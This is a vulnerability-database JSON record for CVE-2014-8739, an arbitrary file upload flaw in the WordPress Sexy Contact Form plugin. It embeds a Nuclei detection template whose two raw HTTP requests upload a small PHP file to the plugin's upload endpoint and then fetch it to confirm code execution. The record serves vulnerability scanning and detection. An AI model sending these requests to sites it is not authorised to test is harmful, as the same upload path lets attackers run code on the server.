{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2014-8739/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2014-8739/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2014-8739/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2014-8739/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2014-8739/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2014-8739"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2014-8739"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2014/CVE-2014-8739.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2014-8739\n\ninfo:\n  name: WordPress Sexy Contact Form (<= 0.9.7) - Arbitrary File Upload\n  author: melmathari\n  severity: critical\n  description: |\n    Unrestricted file upload vulnerability in server/php/UploadHandler.php in the jQuery File Upload Plugin 6.4.4 for jQuery, as used in the Creative Solutions Creative Contact Form (formerly Sexy Contact Form) before 1.0.0 for WordPress and before 2.0.1 for Joomla!, allows remote attackers to execute arbitrary code by uploading a PHP file with an PHP extension, then accessing it via a direct request to the file in files/, as exploited in the wild in October 2014.\n  impact: |\n    Attackers can execute arbitrary PHP code on the server, leading to full system compromise.\n  remediation: |\n    Update to the latest version of the plugin that fixes this issue or implement server-side validation to restrict file types.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-8739\n    - https://www.exploit-db.com/exploits/35057\n    - https://www.exploit-db.com/exploits/36811\n    - http://www.openwall.com/lists/oss-security/2014/11/11/4\n    - http://www.openwall.com/lists/oss-security/2014/11/11/5\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2014-8739\n    cwe-id: CWE-434\n    epss-score: 0.91656\n    epss-percentile: 0.9981\n    cpe: cpe:2.3:a:creative-solutions:creative_contact_form:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: creative-solutions\n    product: creative_contact_form\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/sexy-contact-form/\"\n  tags: cve,cve2014,wordpress,wp-plugin,wp,sexy-contact-form,intrusive,file-upload,rce,vkev,vuln\n\nflow: http(1) && http(2)\n\nvariables:\n  marker: \"{{randstr}}\"\n  fname: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-content/plugins/sexy-contact-form/includes/fileupload/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"files[]\"; filename=\"{{fname}}.php\"\n        Content-Type: application/octet-stream\n\n        <?php echo \"{{marker}}\"; ?>\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"files\",\"delete_url\")'\n          - 'contains(content_type, \"text/plain\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/plugins/sexy-contact-form/includes/fileupload/files/{{fname}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        words:\n          - \"{{marker}}\"\n# digest: 4b0a00483046022100aef8d96841167f04e2284e959ae8accfd099423f03c828b260ba8ba38a847fa7022100d08ca0391ce0f67a33af163ee5fdc368411177c7d20e980904379a79cac11e4e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2014-8739"
}